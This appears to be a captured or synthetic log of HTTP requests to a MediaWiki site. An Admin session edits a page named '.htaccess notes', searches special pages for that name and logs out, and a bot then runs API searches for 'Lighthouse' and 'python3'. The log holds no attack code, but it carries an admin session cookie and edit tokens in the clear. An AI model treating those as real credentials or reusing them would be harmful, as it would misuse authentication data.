{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 291", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&text=%3D%3D+Install+%3D%3D%0ARun+.htaccess+and+ls+-la.%0A&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 299", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&stashedtexthash=215fba744e2608c7aadd8d4879a8a1d4a77aeefc&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiT7gCPrm1YQ2rA25", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200105\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun .htaccess and ls -la.\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ .htaccess\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8d98a56fe79ce5cda12f70b54be1830f6af22681+\\\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25--\r\n"}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=.htaccess&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+.htaccess.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2F.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.h&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Watchlist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.rcfilters.highlightCircles.seenunseen.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.pager.codex%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.special.watchlist%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=xzl3m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Preferences", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.preferences.styles.ooui%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.styles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Coojs-ui-windows%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.editfont.styles%7Cmediawiki.htmlform.ooui%7Cmediawiki.languageselector.core%2Clookup%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.preferences.ooui%7Cmediawiki.widgets.LanguageSelectWidget%2CSelectWithInputWidget%2CUsersMultiselectWidget%2CvisibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1vc9l", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogout&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserLogout", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogout&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": "title=Special%3AUserLogout&wpEditToken=d8d2eb46967072943325a81909a240c96af22684%2B%5C&returnto=Main+Page&redirectparams=returnto%3DMain%2BPage"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserLogout", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&format=json&aplimit=50", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&format=json", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=Lighthouse&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=Lighthouse&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=Lighthouse&apprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Lighthouse+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Lighthouse+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=Lighthouse&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=Lighthouse&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=python3&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=python3&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=python3&apprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
